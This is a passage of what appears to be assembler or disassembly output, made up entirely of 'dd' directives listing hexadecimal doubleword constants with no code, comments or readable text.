7D8E42Ch, 0C62D8D3h, 531730C2h, 0F0B0B663h dd 2300C4BAh, 69DF7213h, 7331CF47h, 5CAE01C6h, 8C6F90A2h dd 14703AFFh, 8174E01Ch, 3583385h, 52D3B84Fh, 49CBA0C2h dd 0EC8F5863h, 26CF892h, 0DE57A882h, 0CD02BA1h, 839004B9h dd 1C650BC8h, 0A11904FFh, 3AB0B227h, 0BC3F440Dh, 92DC80E8h dd 0A20A593Eh, 0A1AD1E05h, 24B42C36h, 22564F2Dh, 50808DCCh dd 30A0FEDCh, 0CAC99891h, 0E438CB9Ch, 0F80CCE8h, 66A03722h dd 0A093FA2Ch, 0E4F77FE7h, 1AE359B0h, 0D12B01E0h, 0CBA35DC4h dd 0C4026B2Dh, 0D66F8451h, 83D80FCCh, 8765963Dh, 1E08A87Ch dd 4D94B92h, 6637B440h, 1C9F63Dh, 13CA3584h, 305C64CFh dd 0B4400370h, 0FB3C3AA0h, 1F3CF64Ah, 9CC31EEAh, 90B213F1h dd 1D5E667h, 3619E158h, 82B4CDD3h, 0A65F3851h, 55C5839h dd 0A5BEBADDh, 3930B665h, 2041A0h, 331D024Ch, 0E18FB3E5h dd 653684E0h, 51348C02h, 60B09380h, 137C10A0h, 0A3521BABh dd 9E3F39F4h, 0BFC0E1BCh, 79D396A3h, 0E08170Ah, 0D4B2CBh dd 0FBAA3A48h, 397826DEh, 0D8013DDh, 0B9784FAh, 9E13D18Fh dd 3082FB17h, 0ACE080BEh, 0DA7A8CB8h, 0B090B9A9h, 534C5292h dd 5AAB8028h, 50E7708Ch, 0C4B6744Dh, 448D7441h, 8720E20Dh dd 525173E0h, 9547FC50h, 0E886CE00h, 903F96ACh, 6FB4124Bh dd 63D8A4DFh, 0BF402090h, 0A92F889Ah, 3D485490h, 0BD1E81F4h dd 23E84D65h, 0FB10293h, 0CFA1CC60h, 0D64B9CD8h, 2F6ABCB0h dd 48042DFCh, 3C008247h, 0F86CC56h, 6468096Dh, 0D9A7A13Dh dd 0C8E80094h, 34B8F199h, 5A396864h, 0E111B408h, 0E21A0612h dd 0A7CF00CCh, 4EEC4DC5h, 46BB0102h, 69506592h, 640A3EBFh dd 23116814h, 0F00E13Eh, 9DF65FDBh, 82001A6Fh, 0A5C48CCDh dd 12375EE9h, 0AF273DAh, 488873Ch, 94888F22h, 13CCC8B4h dd 170359C5h, 0B0844856h, 0B0B03485h, 0D8C7400Ah, 32BBE9C2h dd 0E700FC19h, 68E3A340h, 0F899C08Dh, 3A0046E8h, 8770D77Fh dd 0E22F5232h, 80F8B958h, 0D8D1F31h, 42166C8Ch, 60CCCD6Eh dd 0C8355AA0h, 4E096088h, 44484932h, 0C5B2002Ch, 297DA38Ch dd 4D0047B1h, 0D3CC4E42h, 9C188F3h, 4FC017B8h, 0B11144A4h dd 805C6884h, 0AE10DE15h, 0EFA00727h, 81E47A44h, 0DA0FB5FDh dd 0DE6084FEh, 67895Eh, 0FAEFF715h, 0C96EA2A7h, 246C3701h dd 44DAC485h, 991B0020h, 93BB9C8Ch, 0C0B424A4h, 0E376D65Ch dd 641D8116h, 0D84430C2h, 0A1652264h, 0AD0BF8C8h, 1E0D44E0h dd 3F2B6C01h, 9EEA86E2h, 18A8307Ah, 61EC43FFh, 148F2501h dd 0C59284DBh, 0B80464CDh, 2D87804Ch, 29E40AECh, 394060EAh dd 6F272522h, 0F890A053h, 713E5D9Ah, 1E1C7742h, 40E879h dd 89F63C4h, 0CE850AFh, 928E30B1h, 0F08476FDh, 931744C1h dd 0B2E9A913h, 84B828C6h, 0E8C0A5F6h, 80046Ah, 0C6962E0Bh dd 15D6F86h, 3412B5B0h, 80099932h, 0EC79FCh, 5F54BE0Ah dd 0F9006AD9h, 2379A04Eh, 902EC0Fh, 832A16E8h, 0A6269450h dd 7C26F90Ah, 0BDD78C01h, 0D1109F3Dh, 902419F6h, 430089B6h dd 8946D7B9h, 25967673h, 202D9Fh, 25100C80h, 0BBF6C703h dd 9015320Dh, 97BADC76h, 0ED7CA096h, 8662D607h, 0F2B0231Fh dd 0FE6FE5Dh, 7CE8A99Fh, 997082A4h, 0FEEC3014h, 8810C805h dd 6C82AD33h, 8C96759Fh, 0B3D0EA00h, 77FED112h, 7C2300E4h dd 279815BEh, 8348E1F4h, 0A75F03F4h, 0D03EC27Dh, 0B53BA07Fh dd 0CA001894h, 1969D662h, 9EAB6Fh, 1BEFAEF3h, 0ACE1D5B9h dd 4E44C148h, 5A00A48Ah, 0D28C6230h, 4C12CC63h, 86007A79h dd 6221B7Fh, 9C70B417h, 7CA1802Bh, 5D37CAD1h, 0D883C24Ah dd 6415B04Ah, 1F2B1E2Ah, 12DB0947h, 92A12CA2h, 6964DCh dd 0F0D09F9Eh, 72C85E21h, 58FE857Ch, 9CB83C44h, 38094422h dd 223F4C34h, 0C5C40320h, 809180FCh, 6F047D26h, 344D0B04h dd 58B82D1Ah, 0F8C4232Dh, 0A2C12200h, 0FE35188h, 0BD0B001Eh dd 4BD04D49h, 89124069h, 3C045657h, 20AB1B03h, 9C4B32D0h dd 45108496h, 0DBBAC281h, 0C0F06839h, 16F5AF91h, 0C9D71753h dd 63190540h, 9994C2B4h, 6EA44112h, 4525507Ch, 7E8E84D3h dd 44F8C0AAh, 2CF0650Ah, 3CF058F2h, 2C30F40Ah, 0AA00424h dd 6830EA0Eh, 0A26E3E84h, 585C63D0h, 3600D859h, 11A04530h dd 499746A3h, 2B129D98h, 48004C46h, 0E3BC7A17h, 0E4EF529h dd 670D81B1h, 9AADCA0h, 2AEE8EBFh, 63C01A0Ch, 0B26B688Fh dd 62FC9C90h, 8709E30h, 914A3811h, 2DA36A00h, 0CE73CC62h dd 0EED89205h, 68020B0Ah, 764C6169h, 0BBFC0E4h, 9C00B089h dd 8D530559h, 3D1771E3h, 0CC87E282h, 7C309F8Fh, 4C99A739h dd 47FA6A80h, 976C59h, 1C293DB4h, 8824C4C6h, 19B3E800h dd 0C6FF074h, 0A80A6452h, 59BB4B98h, 860B919Ch, 9BF15071h dd 1312976Ch, 9FC00898h, 446EA089h, 168C42A0h, 0C0212A4Ah dd 3C124088h, 0D174460h, 1086F88h, 0B55085B6h, 30D4F822h dd 60490204h, 339E0A1Ch, 0FC204CBCh, 0A860B0BCh, 11E63440h dd 9C2D67h, 520D704Ch, 0BF9092h, 0B8824AC7h, 0D0D26A46h dd 2EC81004h, 60F26B95h, 0A0C4FD00h, 7640BCA5h, 9959FF0Fh dd 0C9C39FF4h, 82F3A386h, 92870041h, 0D9C1C61Eh, 2BCA97B9h dd 0D0488C3Ah, 0C21B4201h, 6EB999F1h, 40C46C6h, 0BBF2018Eh dd 6611C0B3h, 6CB6FA93h, 8130003Ch, 9E0F1A2Ch, 7DEF042Ah dd 0A03A98B0h, 9D20BFA0h, 5D80A192h, 76F0203Bh, 4F03FD70h dd 5F2AFEF2h, 1FF39839h, 8A345A9Eh, 598700F8h, 846B112Ah dd 3F7C26B0h, 80540074h, 9D9FCFDCh, 19B54E73h, 0DFC4489Ch dd 0A577E3h, 84300DF0h, 43DAFAF9h, 0FE189809h, 251060B2h dd 2DA60948h, 90D6B7EEh, 6080DEC5h, 53AC7h, 0A035147Eh dd 57F8FFB4h, 43A25100h, 0E31A6FCEh, 0D78500EBh, 0C24BD3BAh dd 589CC69Eh, 9CEE8940h dd 7CFA09h, 99388B01h, 1E972DC0h, 1659CA13h, 0B90A78A2h dd 17CD4381h, 13C000F8h, 51BC3A5Ch, 0A748C400h, 2FE85AAEh dd 49CC054Fh, 0F013A595h, 15FFCF50h, 58DC8Ch, 149A524Eh dd 86360637h, 0DF9D2602h, 0B0435B1Eh, 90D72DD0h, 260B4288h dd 94E4B013h, 30B200C5h, 0DFA51210h, 8218C0A8h, 9E39F540h dd 78449D1Fh, 0EC618F3h, 0DB1A68C7h, 0E8A57625h, 0BDE38560h dd 910FC000h, 2DDC251h, 0F7F1A785h, 58600D64h, 37B8133Ch dd 8F698879h, 0B05981h, 0E81AF6F4h, 0A50060AEh, 43928242h dd 29F3AE6h, 93A88B10h, 8C45261h, 0C29ABA01h, 6266CE90h dd 0A842B4C5h, 225840E9h, 0DCDD277Ah, 0B6BC858h, 0A96C98D9h dd 9FFC0777h, 0A0A1E4E1h, 49DD73Eh, 958CB813h, 90B798BCh dd 5EAFE99Dh, 0F4E9607h, 0B4D045BAh, 0BE269F57h, 9444A590h dd 1511B103h, 0A0DB4072h, 2A0A7Dh, 14F53718h, 0E674E462h dd 6F119C92h, 0A500EB53h, 5165B6D9h, 77002273h, 0F68A45B4h dd 1BB2566h, 28A2305Fh, 80A0B853h, 0C2610769h, 0B6984B34h dd 21D0409Ch, 3D043594h, 8F5E2DB4h, 37E060EFh, 0BFEC85F0h dd 4CE71B26h, 12F36760h, 0A286000Ah, 953EFA7Dh, 0A41CDA28h dd 44456453h, 7CFD4F6Bh, 5B9303C0h, 0D00089Bh, 55CDBEB8h dd 0ADF6A4h, 0AB3E1237h, 94B1798Ah, 0C51C7012h, 0BB2A50B2h dd 24A90464h, 8165BE59h, 7ACF1D98h, 3B8C28h, 0B5618BAh dd 2D90719Bh, 0D9B7BB00h, 13D77E52h, 98FC0374h, 46C8372Bh dd 903448A0h, 859BEC00h, 63CABBE0h, 0C466976Fh, 7703D6F2h dd 492D0E67h, 25F7A0C7h, 0AA56F4F2h, 47E476D0h, 0D4AEE2D9h dd 58E576E0h, 0DFEE8C04h, 0B4826ABBh, 3F406698h, 0A1003845h dd 120A4C18h, 5BE297C2h, 6C050401h, 160685BCh, 3F08C82Fh dd 1CA0C88Ch, 0FD731980h, 1899830h, 16A3367Dh, 0E0020780h dd 0DD5ABE13h, 0F0EAC020h, 8B823971h, 302D5994h, 0D6CE4703h dd 88D9B204h, 8F9A8FE5h, 78E1B63Bh, 0EBD3C400h, 85580F22h dd 0A865BE18h, 106CC268h, 0A94428D6h, 3D5BEC40h, 0C60961D5h dd 0D76E315Fh, 6027200h, 0F998DA8Eh, 6C613F5Bh, 0F804E676h dd 0C02C8EA4h, 541439AAh, 0BFE00932h, 1089F648h, 66A06448h dd 865024BEh, 89511652h, 0D04405E5h, 2070F16Fh, 8C78F14h dd 1B878208h, 9628D8FBh, 0C8F16054h, 5B0034DBh, 5F962DEh dd 0E267CB8Dh, 0BE2B0BCDh, 0EC8352D8h, 80124C53h, 0F098080Ah dd 63D8FB12h, 0D147015Ah, 21118D71h, 18096BCDh, 3CC40Bh dd 453AD4FEh, 89689124h, 44A36F2h, 581EB8F2h, 82B5002Eh dd 55DABA95h, 3D68BC3Eh, 110317CEh, 430088CAh, 0C7059832h dd 2B02DC52h, 0D131F42h, 551C48C3h, 983AEFBDh, 0D300E9A8h dd 3897F1CDh, 48DBB211h, 0F7007082h, 8508874Eh, 3002B30Ah dd 89B84B9Ah, 7DA9E274h, 9285B430h, 70C80A5Bh, 11C50FB7h dd 567A1C0h, 7965F16Ah, 7856D24Ah, 0B9BE7261h, 730CF4h dd 78226C81h, 25B2149Dh, 0EA2DA817h, 946C24A1h, 0F43F8680h dd 0CA008429h, 0C1D3E2D1h, 0E38CD4h, 2F4FD0A0h, 0F2D8DEFh dd 24346125h, 9DC08148h, 7D8E725h, 10FF35C6h, 5AE280E6h dd 8314D257h, 34ACA82Fh, 0A0FD7891h, 5C30C04Bh, 0F01FD3DFh dd 1684B29Fh, 6082B3B8h, 0FCCF2022h, 0F33BB91Bh, 963A80D8h dd 3BBD6EBAh, 0E98D00C3h, 0A51F14E2h, 0C704370Fh, 80506539h dd 0F0781FBAh, 339142D9h, 352E1500h, 0B4BA24B6h, 0D2D8A36Bh dd 4578D297h, 5BC4298h, 0CC471325h, 9488278Ch, 0B2969829h dd 7A440060h, 1121BA58h, 0DB5424D1h, 1A1C815Ch, 393DA1DEh dd 0F100756Ch, 0AC6DBE36h, 0AA28Ch, 6C2340C2h, 725F8614h dd 3B39A05h, 0ACD427C5h, 4519FC30h, 25917D2Eh, 0B4F21B67h dd 13265017h, 8F0F80A3h, 0D4A022E8h, 0AF779D7Eh, 0AC5F2024h dd 0F8AC9309h, 27C54230h, 0E41425h, 50C8BEDDh, 0B9737BA3h dd 0B09C5100h, 22E617D0h, 23DC5A5Dh, 19F18EACh, 0B951E8C5h dd 0FF31C100h, 0AB25CD44h, 49D10664h, 79949334h, 5A0D08EFh dd 8008B281h, 0C4E24CB7h, 0DB910746h, 4048AD66h, 6FF9BDE9h dd 38AE9605h, 0A8E40656h, 0C220F1C5h, 0D0890903h, 0E08FE692h dd 6094888h, 0ACC517h, 722A6FEAh, 0F009424Eh, 56154768h dd 704427C8h, 0F9AC3F00h, 44139A87h, 9E0CA0EFh, 5CB2500Ch dd 0C1640061h, 0C2CCD045h, 20F3F286h, 0F0880920h, 52F09D37h dd 0E3C9886h, 3865804Eh, 0EE70D598h, 0ABA10001h, 0B96029Eh dd 402C2D1Ch, 160917B3h, 1038764Bh, 0D9BF3408h, 0C15420EBh dd 1800A8EFh, 6458027h, 0FF958Dh, 0C25C0111h, 0B09BCE1Ah dd 25880309h, 0EB30F48Ah, 73072078h, 0CCC26E60h, 0B9340F80h dd 0CE5A03Bh, 3E035826h, 974A920Ah, 5A4011E0h, 9EF298C7h dd 0ED8591Eh, 0D5CC0BA5h, 21788808h, 795F2D30h, 4C4B3C4Eh dd 2E049C90h, 8022C772h, 75B019C8h, 13E0674Ch, 6CC89833h dd 48BD0045h, 65419BFCh, 9CE8F1B8h, 0C868000h, 632AF8D8h dd 0DC4A25B0h, 1D44CC64h, 49F4BC6Fh, 0F80D7B80h, 34483986h dd 328D80F4h, 1B189C88h, 806B9B99h, 3C2EA07Dh, 71C0E833h dd 3BFB60A2h, 0EFAC61B8h, 0FD880410h, 0D95A028Fh, 0A018D72Fh dd 97F69282h, 59728509h, 14C8649Bh, 0AA6F9ED6h, 0CB4C007Ch dd 98374B52h, 0CC1F1B3Ch, 0A3F9780h, 640EA1BBh, 0B803A002h dd 9236E0D8h, 0BB9F3F62h, 9F10912Ah, 627C864h, 9E90901Eh dd 0D02D4ABAh, 8D302E88h, 2876A4E6h, 7DB44C00h, 0E9951639h dd 0CFA1026Eh, 9E3A1A2Ch, 91FDE480h, 5DE2062Bh, 0DC9939F0h dd 9E43BABFh, 0A580C6DBh, 86B8611Bh, 3779C91Ah, 0F9E67410h dd 0FF60A424h, 0B389B600h, 54DC5B1h, 0E8AA39F7h, 0E04492EDh dd 3C639CA2h, 17B8C0B9h, 56D368D0h, 0AC5F07B6h, 20970F4Eh dd 0A8AC9C3h, 0B2B9401h, 0A45D0D6Fh, 0A6C44AF9h, 5F0C3E40h dd 1217A054h, 0FC8434A9h, 7A2CC0D0h, 7CD62A6Ch, 79811FE9h dd 0A9A448B6h, 79383832h, 0D013023Ch, 2CC097BDh, 0BE8007C7h dd 0B41B2503h, 9E01A816h, 85A67B10h, 0E43D389Fh, 9C7AB058h dd 0CB3BE238h, 2BCAC780h, 1800D0D5h, 828F0628h, 27938C8Dh dd 0BCC2AEA5h, 7649A0DCh, 7EED00D0h, 2A88D3F3h, 0A82E690Dh dd 282FB865h, 0E40070F4h, 0E764B6CDh, 0FB5E13h, 0BB225861h dd 4408DE2Ah, 0FA3C909Fh, 6B780041h, 0A40440D8h, 750F9F1Eh dd 175812C9h, 0A94E28E0h, 0B8C3C818h, 15B034h, 641B4C48h dd 2DCBC7FFh, 0AC9EFC2Ch, 0A749FB64h, 7519460Ch, 0C8619B00h dd 0B9ED9592h, 5017018Ch, 1AD22B6h, 9AAC340Bh, 0CE524E09h dd 0C09C744Ah, 15C52889h, 2DC2451Dh, 28C844D7h, 53A30059h dd 4F4A7D8h, 0AD2474C2h, 0BE60D49Fh, 1CCCA8DAh, 53654429h dd 0B7E0A0BFh, 642F0284h, 1B062DEEh, 5242C0DEh, 72451F9h dd 0F9A2854h, 0D0CC05C0h, 0FF09729Ch, 480DA062h, 5F8906A0h dd 73C4DC9Eh, 0EAF1FE1Dh, 56E36E49h, 22AA00FCh, 0A059897Ch dd 489A3210h, 12509216h, 2A1882E0h, 0F5D890D5h, 8CB4009Dh dd 842C29C8h, 850339BDh, 8710647Fh, 36E5B68h, 0F4F0386Ch dd 94441E6h, 0F85200FFh, 0BE2FCD66h, 0FC98DC50h, 0BF6ABA09h dd 5064542Ah, 9A40FAF8h, 0D8CE89A0h, 9C003681h, 67E875CFh dd 0BD00B78h, 9F3561F1h, 84BB9898h, 906C96B7h, 0BC12B598h dd 7C449C0Bh, 0B23022h, 0C77EFF67h, 25165EE2h, 1176BE00h dd 0EB4CBD61h, 0F4C55BBAh dd 0E026C68Ch, 0E8407C2Ch, 0BFAA83h, 0B4F4E49Ch, 119E65F2h dd 0D90C7902h, 75C938B2h, 0CA0F2C91h, 3B80B0D7h, 0BFB450DAh dd 4E0B7B3Fh, 268CA20h, 6D628DDEh, 80745271h, 95305BE4h dd 2DF90CECh, 0B0894A30h, 6F062FF4h, 0C1007910h, 179ECD3Eh dd 375C1095h, 6A530B44h, 405C4897h, 0BBC6C760h, 23190E4Ch dd 0ECA16980h, 30C8BF9Fh, 54A19D54h, 0D8C41003h, 0F1710091h dd 0C766AF1Ch, 0B5024C2Fh, 0B3344F2Dh, 27C4F119h, 4D3B4C10h dd 0F9BF0D07h, 88F06B31h, 0AE10Eh, 0A5229CF5h, 0A7561A2Ah dd 4B60919Dh, 0A9E4F7D1h, 2E4A2F7Bh, 0B1D704CAh, 66D6BBF0h dd 0D81A0268h, 2D7BC67Ah, 0E4B73858h, 889E07CCh, 901258E3h dd 0EA0414FAh, 28C1BD01h, 0CA1AF968h, 7792BD0h, 2CC26C33h dd 7B7070EFh, 501264F6h, 58340436h, 63E4F4h, 0BFDD8EE8h dd 8FA526AAh, 0D0C9F929h, 963A1008h, 0FCF62Bh, 0F6F21E8Fh dd 7F02B7h, 4394A48Ch, 8A87E966h, 54C2E416h, 0A72CF890h dd 0D1143FEDh, 84044680h, 8D095F18h, 0D5D8C800h, 8B0FEC32h dd 0FC6C505Eh, 95D090D2h, 6B0040E4h, 0D93CB3B1h, 1DB77E47h dd 25B930A5h, 360014CCh, 0D30B6574h, 12C76379h, 0C19BC3D0h dd 3F8A865Ch, 1061CD8h, 0DAF8307Ch, 0F8E51289h, 2D3448CFh dd 54F358CCh, 6E20DC02h, 3851F772h, 20C6F00h, 0D1CFB4h dd 0B0FA66DFh, 7D3A9D2Ah, 0D4917116h, 0D12541Eh, 1E0094A3h dd 0D20F6406h, 0C402C27Ah, 0BC259E0Eh, 0F0A4D7B2h, 4B824096h dd 5C2B9C21h, 60295C7h, 64132704h, 2203745Ah, 175BAC57h dd 4EC4FA8Dh, 0C641C9Ch, 7402650Bh, 0AA204C45h, 48719023h dd 224AE539h, 0C4297F48h, 476D001Ch, 0AD2A1FEFh, 84910D46h dd 0DAFF2680h, 0E0B663h, 0C02D3EBBh, 0BF9D5E58h, 4CB7CF1Eh dd 7C024EB4h, 0E113564Fh, 0C4C2A74Ch, 9142E29Ch, 9F63F94h dd 0EC408514h, 269EF840h, 880078EDh, 8060A923h, 0DAED7AB9h dd 9FFC70CBh, 0BAE6E800h, 0CCEAD9DFh, 4C54B812h, 21332009h dd 0B2B4BE49h, 11162204h, 0A522Bh, 0A620B4E1h, 0FAC261EDh dd 0A8FE2EA5h, 269F053Dh, 8F4804B3h, 0E24B4240h, 5358C82Dh dd 0BC364831h, 7D001453h, 0B5AEFE69h, 600A498Dh, 0DB37F8C6h dd 62D51009h, 0A547028h, 6EF1CF4Dh, 40B43BE0h, 0A1E48448h dd 64247E30h, 2F5421EEh, 0A4D2C057h, 53C03F2Dh, 0E18E81C0h dd 0EF53E473h, 8FB96905h, 0EBA9F62h, 408448CCh, 1264B261h dd 68D20BF3h, 0E828503Ch, 95F6F0Ch, 0A092F7E0h, 4E4FD769h dd 2F0044E6h, 0CB5AF4A5h, 0A42750A9h, 69A89098h, 90A60031h dd 95B6EF9Fh, 1201B394h, 6C48C6FBh, 902A33A0h, 83B8758h dd 234060BCh, 1E341F2Dh, 0BE664Ch, 54CC89B6h, 817B97BBh dd 0C2A64F02h, 0E438CD9Eh, 0D02B00E0h, 0AA109E2h, 0C21ED81Bh dd 0A9F185BAh, 0F438189Eh, 0C4245DA0h, 0E0966B0Fh, 31ECE18Eh dd 0E6C8E82Fh, 42C212B5h, 835C2507h, 3916F548h, 908A1706h dd 0E990101h, 710FE8E2h, 0C4703EFCh, 0FF98BAh, 3FE56332h dd 2BD941D6h, 2AE1340Bh, 6BF087FAh, 641C01A8h, 2BE0824Fh dd 5D9C88h, 366E58FCh, 99EE21DEh, 0BD418302h, 40BB3F2Bh dd 26EFD3F0h, 32646562h, 0F029E9F0h, 0F0685E4Ch, 3CF05DF8h dd 6B4C197h, 0E0998878h, 2FD20D0Eh, 48733F89h, 822E5D09h dd 0E61AA634h, 3FDD0034h, 0DA3883A3h, 90E4C604h, 60E56601h dd 0C34C5CAEh, 349F408Bh, 4759707Eh, 0D20903Eh, 1B00AB70h dd 49622A60h, 6B32BB9Fh, 907C2874h, 280FD8CCh, 1998D852h dd 0F8F729A4h, 20608EFh, 0B83C040Eh, 0A0635865h, 0C4C3C95Eh dd 852901ECh, 510B40A7h, 884408C6h, 0B0574A3Ch, 0C24B0958h dd 0C9F8182Dh, 12FAB083h, 0B8A820h, 53470541h, 1812DCA5h dd 0A0881703h, 641230A7h, 6A4B13F0h, 14E49Fh, 16A08037h dd 0C203750Fh, 0BD07DF7Ch, 0DE9543E6h, 60985AC2h, 0A0483968h dd 16122FE0h, 0A8A8B357h, 0B03D80CCh, 6BC8FAh, 0F96C0B68h dd 36883026h, 0F8D58A00h, 7156199Eh, 2D032CA0h, 89BB0AB8h dd 76096FC4h, 0D47B4061h, 555AC25Ah, 14808C98h, 0B0A175B3h dd 0B816504Ch, 0BA2C0BD3h, 4B414074h, 222A3BA0h, 6A3013FCh dd 802CB1CDh, 5646EBE5h, 65008930h, 0B85923E0h, 4D2574Bh dd 6AF60668h, 7CB8B2EBh, 210071ECh, 0AB9FDADh, 0A22267h dd 8CE118B6h, 1A2DA1F5h, 2A41C0BCh, 12FF9F37h, 0C82B8B81h dd 0F70BD1A0h, 0C6448582h, 425620BCh, 90121C1Dh, 7A880646h dd 934E241h, 0B85A3CCBh, 0D46030D9h, 123DBCh, 0D861B61Ch dd 53CDD5D7h, 3ABEEF00h, 83729824h, 2C5E4D48h, 0CE0D2B00h dd 5BFBC01Dh, 88E06559h, 8906866Dh, 5A5B61A1h, 94772833h dd 7B2860BEh, 590FEEF0h, 85DDCCBEh, 0E4AD8DE9h, 93C5ED80h dd 0BF38C17Dh, 2870065h, 1BCA6D0Bh, 2D58EEC7h, 0DC844E10h dd 0EFE14108h, 0A878DA48h, 77121A80h, 7CB0BD76h, 0D94614Dh dd 69B01E9Eh, 56E23831h, 0AC7925A0h, 56C3BD00h, 0B90767Ch dd 0BCE8F1E0h, 3E9D020h, 0B1D3B813h, 5E843810h, 8090F0E2h dd 5C48983Ch, 6F4A2822h, 7400C8B3h, 707EC698h, 6A003F92h dd 45B56124h, 166D0309h, 17F97CA8h, 0C0BCEC40h, 1A30CA4Eh dd 8E961D8h, 2B3D91F0h, 97DBC840h, 0A4DCFDh, 6AAE365h dd 4979D203h, 0A3B66A00h, 0E655B11Ch, 872CB641h, 2ACA210h dd 0BC634430h, 21505948h, 0F89212B3h, 0F8572CACh, 3FE86F40h dd 0D623DBCh, 0C72DA684h, 3CC4A58Dh, 0A03C4C70h, 1E4AF2Eh dd 64243B0Ah, 0A6C74BA0h, 1025EC50h, 164058E4h, 855ECFB0h dd 6830AA30h, 21CBA2h, 0C9FB3623h, 0BA1CF5C4h, 3144E900h dd 7BB80952h, 1E5422CFh, 0A9D45700h, 51BC7759h, 7CA02EADh dd 234B911Ch, 2FB42C38h, 0D900F4D3h, 0B57F4593h, 6446BDE2h dd 0A5943803h, 90EE8C2Fh, 90B6F08h, 1F92755Dh, 2416D8D2h dd 0AC30654Dh, 1CE632h, 0F6E43ACAh, 5C8C5551h, 0EF27A109h dd 224C1144h, 0F0CA3Bh, 7D0D0B1Fh, 3E693742h, 0EF855CAFh dd 0FA5DED88h, 0F1EEFC32h, 85999080h, 0C821CF06h, 9010B053h dd 6D09FAB6h, 99D75B2h, 63F081C2h, 611C852h, 948C2A1Ah dd 87C2FE2h, 309800ECh, 0F140609Eh, 1CFC5FF8h, 810D4414h dd 0CB4B9927h, 2CF8421Bh, 384128C4h, 1D667000h, 68EF009Bh dd 6FFDB253h, 1B01EB9Ch, 0BE7B0456h, 0E5424399h, 3D70D971h dd 830AC48Fh, 207EFAA9h, 8ED6B41h, 7F5FE9D7h, 0B3B36FCh dd 9F1606FAh, 885934DCh, 44BFDC08h, 43F8F0h, 0ECE2974Ah dd 9CE7A5AEh, 0CECF5C09h, 22B4EC37h, 0A74545ACh, 0AADC686Eh dd 433D1C00h, 4E04D213h, 177B02Fh, 73AECDE8h, 0CC0210C2h dd 64A9D28h, 0BE09B0A3h, 806EB5F0h, 0D0A43Fh, 0B729C71Ch dd 4AD4531Ah, 652CC80Ch, 607C2512h, 150038A2h, 0A7D22EF5h dd 7029EF6h, 34ED3D40h, 0EC98D5BFh, 7700B6E3h, 0EEFBFA41h dd 666A03h, 6FF0695Ch, 87618BA5h, 4FB14022h, 13448C4Bh dd 0E9F4920Fh, 0B861C12Dh, 1444C432h, 7C098116h, 50A0F429h dd 7CB6716Fh, 2041F9CFh, 945D4A08h, 794C8B98h, 2053AF54h dd 8F844A44h, 837075AEh, 0ADE42898h, 60928010h, 31B38D3h dd 26E72AFh, 590BEC7h, 90B42A9Eh, 0C8371744h, 44CAA14Fh dd 11BEC44Ah, 93EC8780h, 2665C376h, 0A9E86C09h, 3918F095h dd 6A09AD22h, 887C6EA0h, 162A0460h, 403CBCE2h, 0A9EB2E0Fh dd 2174D3Ah, 0A8BB4614h dd 0B3F04060h, 882D5A84h, 0AF0196C8h, 0E7A025D6h, 3DF8E3ACh dd 0C49015h, 0E673AB18h, 5DA7A90Dh, 0D3822B27h, 983B108Ch dd 4A74635Eh, 17F0D03Eh, 0DC026F47h, 828A6E2h, 1C16DFB7h dd 219F3C13h, 352AF821h, 2E012C3Ch, 922D3326h, 60F6F63Bh dd 22CBCE2h, 98F0302Ah, 53E69214h, 0C8DE8080h, 1C454078h dd 9EC4A587h, 162DCF66h, 0A9498264h, 63EE00F4h, 0D77BED28h dd 32A00D9h, 54981CF0h, 9990F4A5h, 94BF8A0Fh, 0EF6FE04Ch dd 0B0F62BAEh, 0EBA50CD5h, 0AF2957D2h, 19C0FAF8h, 31DCD569h dd 22517CCFh, 530E840h, 77F408F8h, 3701Bh, 0C78DF7D6h dd 0E3FF2B49h, 95F960C7h, 40EB0190h, 3BBD2C47h, 24BA0008h dd 0F860CA22h, 2AF05512h, 0D7528D03h, 5A8000A3h, 0AE0A654Eh dd 9DF96FA9h, 0A6D89869h, 556320h, 0A1ECFD2Bh, 0BBA3E186h dd 0AA14770Eh, 62CF00C6h, 1F781CDDh, 58EBA796h, 3D85D95Ch dd 0E003A332h, 8C052757h, 7F00C161h, 286D27F6h, 0A2E771h dd 0CB7D2DEh, 7306F3D4h, 78EDBD03h, 0AB2E52h, 0BB09E950h dd 0A06198A5h, 0B8F550Fh, 0E4F9619Eh, 0B0D731A7h, 0C0F45721h dd 0D3B72E08h, 70F2B6BAh, 0B89E0E07h, 0E376C609h, 3C231D21h dd 0CE73404Ch, 69FB370Bh, 48C3257Ch, 0A9F67429h, 5980303Eh dd 7A914754h, 0E4144C25h, 2238FB9Ah, 969D00F6h, 0CD10AA65h dd 9AEC77A1h, 85132200h, 8652307Bh, 0AFBB030Ah, 0BDD70F3Dh dd 0ABDB0BC0h, 8DC85700h, 100AA230h, 51E26175h, 802062FAh dd 8B9EE891h, 0ADD8F02h, 0B41741F2h, 0ED37383Ch, 9CD7308h dd 3F785E0Ch, 0ED7FA104h, 2A36348Eh, 6C0EFFE0h, 0DA0098FBh dd 7D0A9033h, 1EB7329h, 1BD0C743h, 8CE37731h, 811F8251h dd 4DDE0F10h, 6E003A6h, 7FB3E5F5h, 18959000h, 3E217EE3h dd 0C06577FBh, 0D231C131h, 750FB4A8h, 557092Bh, 2C08DD74h dd 0F8538011h, 0CFA252FEh, 5D6E6500h, 940D1967h, 66F100C2h dd 0BA73AF9Eh, 0B92E5B14h, 0D930D0E5h, 71A908Eh, 99ED8FCEh dd 9276F0C2h, 890562DCh, 0CF7C1020h, 0E50D905Eh, 0D80271ADh dd 8B2621FEh, 0FF52FC1Eh, 88FABE05h, 3800A667h, 603CFB62h dd 505AB832h, 0AE6C19h, 75C54202h, 8AEE0C30h, 143DA70Fh dd 0C0703531h, 0D8C5B85Ah, 2F323BEDh, 346A3C87h, 0EAECA12Ch dd 688C430Ah, 117E43ACh, 0FE7831Fh, 0B513EB11h, 72C83720h dd 0E80B4A66h, 80D6F224h, 4E551C37h, 83863997h, 0C0A47164h dd 9E642108h, 0D06F3100h, 61975499h, 0EBCF272h, 8915B26Bh dd 0E6016D43h, 0BB006974h, 64AC26A0h, 5475C3h, 686BE5CBh dd 0B67E7765h, 9E332C0h, 1828E29h, 8040E732h, 0F479D06Bh dd 8F18C60Ah, 1F51DC03h, 0CBBF0049h, 0FA9FBAA6h, 11005035h dd 3C74C4B0h, 5292E444h, 8200E433h, 27C0DE6Bh, 0D4A4A1E3h dd 710A8F7Eh, 0D8CA57C2h, 0E54AC68Ah, 7B3F9900h, 4159Fh dd 343211FBh, 0F2A5196Fh, 69C20D00h, 0BB8FE491h, 2FA631E5h dd 0E08C6651h, 11C6FA94h, 1C59FB57h, 80AD756Bh, 0EFEBC060h dd 0B201FC2Bh, 0BED7F242h, 